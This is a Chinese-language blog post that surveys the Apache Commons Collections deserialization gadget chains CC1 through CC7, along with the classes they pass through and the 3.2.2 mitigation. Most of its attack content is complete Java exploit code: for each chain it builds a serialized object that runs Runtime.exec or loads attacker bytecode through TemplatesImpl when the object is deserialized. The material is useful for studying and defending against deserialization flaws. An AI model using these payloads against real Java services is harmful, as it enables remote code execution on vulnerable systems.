azraelxuemo's Studio.

CC链汇总

2023/11/19

前言

cc链在我理解可以分为两个部分

  • 执行恶意代码部分
  • 从readObject到执行恶意代码中间的链子

那么后面的具体每一个cc链分析多为链子部分,执行恶意代码先放在前面介绍

执行恶意代码

任意方法调用

InvokerTransformer+ChainedTransformer

1
2
3
4
5
6
ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null});
InvokerTransformer invokeMethod = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null});
InvokerTransformer execMethod = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"code"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer,getMethod,invokeMethod,execMethod});
chainedTransformer.transform(null);

动态类加载

原理

TemplatesImpl

TemplatesImpl中实现了动态类加载,这个也是从ClassLoader里面搜defineClass的调用搜到的
利用下图所示的进行任意类加载截屏2023-11-03 09.37.46.png

任意类加载demo

1
2
3
4
5
6
7
8
9
10
11
12
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/xuemo/Desktop/java_project/debug/target/classes/Evil.class"));
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytecode});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field _tfactory = templates.getClass().getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();

有如下几个点注意

  • name需要设置不为空即可
  • bytecode即恶意类代码
  • _tfactory需要设置,不然报错
  • 加载的类要求继承AbstractTranslet

截屏2023-11-03 22.01.27.png
直接反射去调用defineTransletClasses或者defineClass都是没用的,因为defineClass不会去加载类,只是load进来所以我们在getTransletInstance可以看到,在把class load进来后,会在下面的newInstance时候触发我们的静态方法(静态方法在构造函数调用之前执行)
截屏2023-11-01 20.05.59.png解释一下为什么一定要继承对应的类
因为在defineTransletClasses函数里,Index默认是-1 <0
截屏2023-11-04 08.27.48.png
而如果<0会直接在defineTransletClasses里抛异常,就走不到后面newInstance了,所以这里我们要让Index>=0,而要让他>=0就要满足继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
截屏2023-11-02 21.25.31.png
当然如果嫌继承麻烦也可以这样写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/xuemo/Desktop/java_project/debug/target/classes/Evil2.class"));
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytecode});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field transletIndex = templates.getClass().getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
Field _tfactory = templates.getClass().getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());
Field auxClasses = templates.getClass().getDeclaredField("_auxClasses");
auxClasses.setAccessible(true);
auxClasses.set(templates,new HashMap<>());
templates.newTransformer();

这样写的方法就是,我们通过一些反射等操作让他能够走这样的逻辑,但是需要修改如_auxClasses,_transletIndex等变量,但是好处是类可以这样定义
截屏2023-11-04 11.22.42.png
接下来就是如何触发newTransformer,有两种方法

InstantiateTransformer

利用TrAXFilter

我们发现这个类的构造函数里面调用了newTransformer,那么能不能去调用这个构造函数并且让他传入的参数是templates
截屏2023-11-01 20.30.03.png
我们发现InstantiateTransformer的transform刚好可以实现这样的需求
截屏2023-11-01 20.32.02.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/xuemo/Desktop/java_project/debug/target/classes/Evil.class"));
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytecode});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field _tfactory = templates.getClass().getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());
ConstantTransformer constantTransformer = new ConstantTransformer(TrAXFilter.class);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, instantiateTransformer});
chainedTransformer.transform(null);

利用InvokerTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/xuemo/Desktop/java_project/debug/target/classes/Evil.class"));
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytecode});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field _tfactory = templates.getClass().getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());
ConstantTransformer constantTransformer = new ConstantTransformer(templates);
InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", null, null);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, newTransformer});
chainedTransformer.transform(null);

一个小细节
对于无参的方法反射获取的时候
正确的写法是下面这种
Runtime.class.getMethod(“getRuntime”,null);
下面这种写法会报错,methodnotexist(可以理解为还是传了参数的,不太一样)
Runtime.class.getMethod(“getRuntime”,new Class[]{null});

FactoryTransformer

截屏2023-11-06 20.14.42.png
InstantiateFactory这里可以构造一个TrAXFilter的实例,进而加载恶意类代码
截屏2023-11-06 20.14.59.png截屏2023-11-06 20.15.11.png
FactoryTransformer的好处是,调用tansform的时候不需要管传递参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/xuemo/Desktop/java_project/debug/target/classes/Evil.class"));
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytecode});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field _tfactory = templates.getClass().getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());
InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates});
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
factoryTransformer.transform(null);

cc1

CommonsCollections <= 3.2.1
截屏2023-11-04 11.34.57.png

依赖

jdk < 8u71

调用流程

TransformedMap的checkSetValue会触发最后的transform
截屏2023-11-02 19.39.09.png
AbstractInputCheckedMapDecorator(TransformedMap继承了AbstractInputCheckedMapDecorator)的MapEntry的setValue会触发checkSetValue
截屏2023-11-02 19.40.07.png
AnnotationInvocationHandler的readObject会调用setValue,进而构造成功
截屏2023-11-02 20.02.33.png

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
InvokerTransformer getRuntime = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null});
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null});
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, getRuntime, invoke, exec});
HashedMap hashedMap = new HashedMap();
hashedMap.put("output",1);
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashedMap, new ConstantTransformer("a"),chainedTransformer);
Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = AnnotationInvocationHandler.getDeclaredConstructor(new Class[]{Class.class, Map.class});
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(new Object[]{Action.class, transformedMap});
serialize(o);
deserialize();

小细节

  • valueTransform才会调用transform,所以放在第三个
  • hashmap一定要有值,不然不能遍历
  • output是调试出来的值,一共有3个可以选
  • 1是随便填的,只要不是字符串就可以,甚至字符就可以,因为output获取的类刚好是String,然后后面只有不是对应类的才可以进入if
  • 另外实例化transformedMap的第一个参数要是接口,并且是继承于Annotation就可以

cc6

截屏2023-11-04 14.46.08.png

exp

这里hashMap在put的时候会自动调用hash方法,所以我们先给tiedMapEntry随便传一个map,后面在反射改掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null});
InvokerTransformer invokeMethod = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null});
InvokerTransformer execMethod = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"code"});
Transformer[] transformers=new Transformer[]{constantTransformer,getMethod,invokeMethod,execMethod};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),"b");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"a");
Field map = tiedMapEntry.getClass().getDeclaredField("map");
map.setAccessible(true);
map.set(tiedMapEntry,lazyMap);
serialize(hashMap);

cc3

cc3=cc1链子+类加载
这里我也不走cc1了,直接换成cc6链子+类加载

exp

TrAXFilte

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/xuemo/Desktop/java_project/debug/target/classes/Evil.class"));
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytecode});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
ConstantTransformer constantTransformer = new ConstantTransformer(TrAXFilter.class);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, instantiateTransformer});
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),"b");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"a");
Field map = tiedMapEntry.getClass().getDeclaredField("map");
map.setAccessible(true);
map.set(tiedMapEntry,lazyMap);
serialize(hashMap);
deserialize();

InvokerTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/xuemo/Desktop/java_project/debug/target/classes/Evil.class"));
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytecode});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
ConstantTransformer constantTransformer = new ConstantTransformer(templates);
InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", null, null);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, newTransformer});
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),"b");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"a");
Field map = tiedMapEntry.getClass().getDeclaredField("map");
map.setAccessible(true);
map.set(tiedMapEntry,lazyMap);
serialize(hashMap);

细节

这里注意一个细节,在TemplatesImpl反序列化的时候,_name,_bytecodes会从我们赋予的值里面获取,不然就是null,所以我们还需要反射赋值,但是_tfactory不需要赋值了,他会自动赋值
截屏2023-11-04 15.03.33.png

cc4

截屏2023-11-04 15.18.19.png

依赖

变成4版本了

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

变化

4版本里TransformingComparator也继承了Serializable,导致了链子的产生
截屏2023-11-02 11.08.46.png

exp

InvokerTransformer

1
2
3
4
5
6
7
8
9
10
11
12
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
InvokerTransformer getMethod = new InvokerTransformer("getMethod",new Class[]{ String.class,Class[].class}, new Object[]{"getRuntime",null});
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null});
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"code"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, getMethod, invoke, exec});
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
// transformingComparator.compare("a","b");
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);
serialize(priorityQueue);

InstantiateTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/xuemo/Desktop/java_project/debug/target/classes/Evil.class"));
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytecode});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
ConstantTransformer constantTransformer = new ConstantTransformer(TrAXFilter.class);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, instantiateTransformer});
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);
serialize(priorityQueue);

细节

这里size默认是0,要保证(size>>>1)-1>=0,size至少是2,所以要想进入siftDown我们必须size反射改成2
截屏2023-11-04 15.22.28.png

cc2

与cc4区别

CC2 区别与其他CC的点在于没有用 Transformer 数组。不用数组是因为比如 shiro 当中的漏洞,它会重写很多动态加载数组的方法,这就可能会导致我们的 EXP 无法通过数组实现。

调用流程

TransformingComparator在compare的时候会传入一个参数
截屏2023-11-02 11.30.05.png
obj1来自于x
截屏2023-11-02 11.28.30.png
x来自于queue[i],所以我们给queue传递值就好了
截屏2023-11-02 11.35.30.png

exp

InvokerTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/xuemo/Desktop/java_project/debug/target/classes/Evil.class"));
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytecode});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator transformingComparator = new TransformingComparator(newTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue,new Object[]{templates,null});
serialize(priorityQueue);
deserialize();

InstantiateTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/xuemo/Desktop/java_project/debug/target/classes/Evil.class"));
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytecode});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
TransformingComparator transformingComparator = new TransformingComparator(instantiateTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue,new Object[]{TrAXFilter.class,null});
serialize(priorityQueue);
deserialize();

cc5

截屏2023-11-04 15.42.24.png

调用流程

BadAttributeValueExpException.readObject可以调用toString
TiedMapEntry的toString会调用getValue,进而调用LazyMap

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null});
InvokerTransformer invokeMethod = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null});
InvokerTransformer execMethod = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"code"});
Transformer[] transformers=new Transformer[]{constantTransformer,getMethod,invokeMethod,execMethod};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "a");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("a");
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException);
deserialize();

拓展

cc5这个链子思路可以结合来打fastjson
JSON.toString会调用toJSONString,而fastjson在对象toJSONString以及toString的时候会调用对应的getter方法,所以比如说我们把TiedMapEntry换成fastjson,然后再利用恶意的getter方法进行rce

cc7

截屏2023-11-04 17.27.57.png

构造细节

细节1 需要往hashtable put两个Object

要想调用到equals首先要保证tab的值非空
截屏2023-11-04 16.41.35.png
一上来table是空的,所以第一次肯定不行
截屏2023-11-04 16.42.17.png
但是第一次过了以后会给里面插入元素,就不是空的,所以我们要执行两次reconstituionPut
截屏2023-11-04 16.42.45.png

细节2 两个不同的Object具有相同的hashcode

Object不可以一样

下面是put的实现,可以看到不光要key的hash一样,key也要equals,他才认为是一个元素,如果object一样就只进行值的修改
截屏2023-11-04 16.55.33.png
然后hashmap的equals比较又是比较每一个key-value是否一致,所以我们利用trick的话还是认为不是同一个key,刚好可以保证object不一样

hashcode要一样

再细看下面的代码,我们把第一个key叫做a,第二个key叫做b
截屏2023-11-04 16.46.17.png
index是a.hashCode计算过来的
那我们在b进入函数的时候,要保证首先根据b.hashCode计算出来的index刚好是a.hashCode计算出来的index,这个可以通过我们后面的小trick绕过,让他里面只有2个元素,这样几率也大
但是还要保证e.hash==hash,其实也就是a.hash==b.hash,这就涉及到java的hash碰撞

细节3 究竟怎么触发到get(直接put无法避免序列化的时候rce)

这里如果是使用put传递的话,那么我们第一次put的会在反序列化的时候第一个取到,第二次put的会被第二个取到
还是假设第一次put的是a,第二次put的是b,相当于a.equals(b)
截屏2023-11-04 17.30.29.png
继续a.equals(b)
截屏2023-11-04 17.31.09.png
下面是最后的equals函数了,里面的都是m.get . 也就是b.get
截屏2023-11-04 17.32.04.png
所以相当于不管在put的时候,还是后面反序列化的时候,都是我们第二个put的对象最终触发到rce,跟第一个put的元素无关,所以如果想要rce,所以用传统的put方式一定也会在序列化的时候rce,不然无法在反序列化的时候rce

细节4 如何不在构造的时候触发链子

因利用反射直接addEntry,这个也是put代码最后部分的操作逻辑
这里的Entry(也叫tab)大概是这样的
比如说原来的tab[0]假设有值,那么执行结果就是tab[0] 第一个元素->第二个元素 这个可以理解为是一个队列,先进入队列的先拿
如果tab[1]没有值,那就变成 tab[0] 第一个元素 tab[1] 第二个元素,拿的时候先拿tab[1]再拿tab[0]
hashtable实现的逻辑应该是这样
从index最大的往最小的遍历,然后获取tab[index],在从队列的头部取,直到null
比如说tab[3] tab[2] tab[0]
截屏2023-11-04 17.19.08.png
所以index不纠结随便写,tab默认长度是11,比11小即可,01234随便选

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
        ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null});
InvokerTransformer invokeMethod = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null});
InvokerTransformer execMethod = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"code"});
Transformer[] transformers=new Transformer[]{constantTransformer,getMethod,invokeMethod,execMethod};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
Map decorate2 = LazyMap.decorate(new HashMap(),chainedTransformer );
decorate.put("zZ","aaa");
decorate2.put("yy","aaa");

Hashtable hashtable = new Hashtable<>();
// hashtable.put(decorate,"a"); 可以put也可以不put
Method addEntry = hashtable.getClass().getDeclaredMethod("addEntry", new Class[]{int.class, Object.class, Object.class, int.class});
addEntry.setAccessible(true);
addEntry.invoke(hashtable,new Object[]{decorate2.hashCode(),decorate2,"a",0});
addEntry.invoke(hashtable,new Object[]{decorate.hashCode(),decorate,"a",6});//index随便写
serialize(hashtable);

写错的反射代码

1
2
3
4
5
6
7
8
9
10
11
Class<?> hashtableEntry = Class.forName("java.util.Hashtable$Entry");
Constructor<?> declaredConstructor = hashtableEntry.getDeclaredConstructor(new Class[]{int.class, Object.class, Object.class, hashtableEntry});
declaredConstructor.setAccessible(true);
Map.Entry o = (Map.Entry) declaredConstructor.newInstance(1, "a", "a", null);
Object[] o1 = (Object[]) Array.newInstance(hashtableEntry, 1);
o1[0]=o;
Hashtable hashtable = new Hashtable<>(1,1);
hashtable.putAll(hashMap2);
Field table = hashtable.getClass().getDeclaredField("table");
table.setAccessible(true);
table.set(hashtable,o1 );

小trick

Hashtable默认Entry是五个
截屏2023-11-04 15.59.10.png
下面这样写

1
Hashtable hashtable = new Hashtable<>(2,4);

只有两个
截屏2023-11-04 16.30.31.png

cc链常用包和类

入口类

readObject->compare

java.util.PriorityQueue

readObject->hashCode

java.util.HashMap

readObject->toString

javax.management.BadAttributeValueExpException

readObject->equals

java.util.Hashtable

中转类

hashCode->get

org.apache.commons.collections.keyvalue.TiedMapEntry

org.apache.commons.collections4.keyvalue.TiedMapEntry

toString->get

org.apache.commons.collections.keyvalue.TiedMapEntry

org.apache.commons.collections4.keyvalue.TiedMapEntry

equals->get

org.apache.commons.collections.keyvalue.TiedMapEntry

这个利用有条件,需要控制obj
截屏2023-11-07 19.57.50.png

org.apache.commons.collections4.keyvalue.TiedMapEntry

这个同上,也要控制obj
截屏2023-11-07 19.59.12.png

get->transform

org.apache.commons.collections.map.LazyMap

org.apache.commons.collections4.map.LazyMap

org.apache.commons.collections.map.DefaultedMap

org.apache.commons.collections4.map.DefaultedMap

get->put

org.apache.commons.collections.map.LazyMap

org.apache.commons.collections4.map.LazyMap

compare->transform

org.apache.commons.collections4.comparators.TransformingComparator

commons-collections 3.2.2之后的区别

之前提到的cc链的版本都在3.2.1之前,3.2.2之后发生了一点变化

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>

在3.2.2版本的时候在一些关键类里加入了writeObject和readObject
截屏2023-11-06 19.29.04.png
在序列化和反序列化的时候会进行安全的check
org.apache.commons.collections.enableUnsafeSerialization这个属性默认是null,如果是null就会报错
截屏2023-11-06 19.35.23.png
一共有8个地方调用了这个函数,相当于3.2.2之后这8个类默认情况不能用了
截屏2023-11-06 19.36.56.png
InvokerTransformer,InstantiateTransformer,InstantiateFactory 这三个常用的被禁了

CATALOG
  1. 1. 前言
  2. 2. 执行恶意代码
    1. 2.1. 任意方法调用
      1. 2.1.1. InvokerTransformer+ChainedTransformer
    2. 2.2. 动态类加载
      1. 2.2.1. 原理
        1. 2.2.1.1. TemplatesImpl
        2. 2.2.1.2. 任意类加载demo
      2. 2.2.2. InstantiateTransformer
        1. 2.2.2.1. 利用TrAXFilter
        2. 2.2.2.2. 利用InvokerTransformer
      3. 2.2.3. FactoryTransformer
  3. 3. cc1
    1. 3.1. 依赖
    2. 3.2. 调用流程
    3. 3.3. exp
      1. 3.3.1. 小细节
  4. 4. cc6
    1. 4.1. exp
  5. 5. cc3
    1. 5.1. exp
      1. 5.1.1. TrAXFilte
      2. 5.1.2. InvokerTransformer
      3. 5.1.3. 细节
  6. 6. cc4
    1. 6.1. 依赖
    2. 6.2. 变化
    3. 6.3. exp
      1. 6.3.1. InvokerTransformer
      2. 6.3.2. InstantiateTransformer
      3. 6.3.3. 细节
  7. 7. cc2
    1. 7.1. 与cc4区别
    2. 7.2. 调用流程
    3. 7.3. exp
      1. 7.3.1. InvokerTransformer
      2. 7.3.2. InstantiateTransformer
  8. 8. cc5
    1. 8.1. 调用流程
    2. 8.2. exp
    3. 8.3. 拓展
  9. 9. cc7
    1. 9.1. 构造细节
      1. 9.1.1. 细节1 需要往hashtable put两个Object
      2. 9.1.2. 细节2 两个不同的Object具有相同的hashcode
        1. 9.1.2.1. Object不可以一样
        2. 9.1.2.2. hashcode要一样
      3. 9.1.3. 细节3 究竟怎么触发到get(直接put无法避免序列化的时候rce)
      4. 9.1.4. 细节4 如何不在构造的时候触发链子
    2. 9.2. exp
    3. 9.3. 写错的反射代码
    4. 9.4. 小trick
  10. 10. cc链常用包和类
    1. 10.1. 入口类
      1. 10.1.1. readObject->compare
        1. 10.1.1.1. java.util.PriorityQueue
      2. 10.1.2. readObject->hashCode
        1. 10.1.2.1. java.util.HashMap
      3. 10.1.3. readObject->toString
        1. 10.1.3.1. javax.management.BadAttributeValueExpException
      4. 10.1.4. readObject->equals
        1. 10.1.4.1. java.util.Hashtable
    2. 10.2. 中转类
      1. 10.2.1. hashCode->get
        1. 10.2.1.1. org.apache.commons.collections.keyvalue.TiedMapEntry
        2. 10.2.1.2. org.apache.commons.collections4.keyvalue.TiedMapEntry
      2. 10.2.2. toString->get
        1. 10.2.2.1. org.apache.commons.collections.keyvalue.TiedMapEntry
        2. 10.2.2.2. org.apache.commons.collections4.keyvalue.TiedMapEntry
      3. 10.2.3. equals->get
        1. 10.2.3.1. org.apache.commons.collections.keyvalue.TiedMapEntry
        2. 10.2.3.2. org.apache.commons.collections4.keyvalue.TiedMapEntry
      4. 10.2.4. get->transform
        1. 10.2.4.1. org.apache.commons.collections.map.LazyMap
        2. 10.2.4.2. org.apache.commons.collections4.map.LazyMap
        3. 10.2.4.3. org.apache.commons.collections.map.DefaultedMap
        4. 10.2.4.4. org.apache.commons.collections4.map.DefaultedMap
      5. 10.2.5. get->put
        1. 10.2.5.1. org.apache.commons.collections.map.LazyMap
        2. 10.2.5.2. org.apache.commons.collections4.map.LazyMap
      6. 10.2.6. compare->transform
        1. 10.2.6.1. org.apache.commons.collections4.comparators.TransformingComparator
  11. 11. commons-collections 3.2.2之后的区别